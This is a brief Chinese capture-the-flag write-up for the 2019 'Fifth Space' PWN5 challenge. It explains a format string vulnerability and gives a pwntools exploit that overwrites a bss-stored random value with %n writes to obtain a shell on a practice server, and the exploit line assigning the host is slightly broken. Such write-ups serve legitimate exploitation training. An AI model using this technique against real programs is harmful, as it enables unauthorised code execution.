2019_第五空间PWN5
首先检查
可以看到,23行存在格式化字符串漏洞。
将随机数存入bss段0x804C044处,当我输入的passwd等于随机数则getshell。
而aaaa的位置在%10$n处,且bss段为4字节,
exp:
from pwn import*
p=("node4.buuoj.cn",27302)
#p = process("./2019_第五空间PWN5")
context(log_level='debug',arch='i386')
if __name__ == "__main__":
bss_addr = 0x0804C044
p.recvuntil('your name:')
p.sendline(p32(bss_addr)+p32(bss_addr+1)+p32(bss_addr+2)+p32(bss_addr+3)+b'%10$n%11$n%12$n%13$n')
p.sendlineafter('passwd:',str(0x10101010))
p.interactive()
0 评论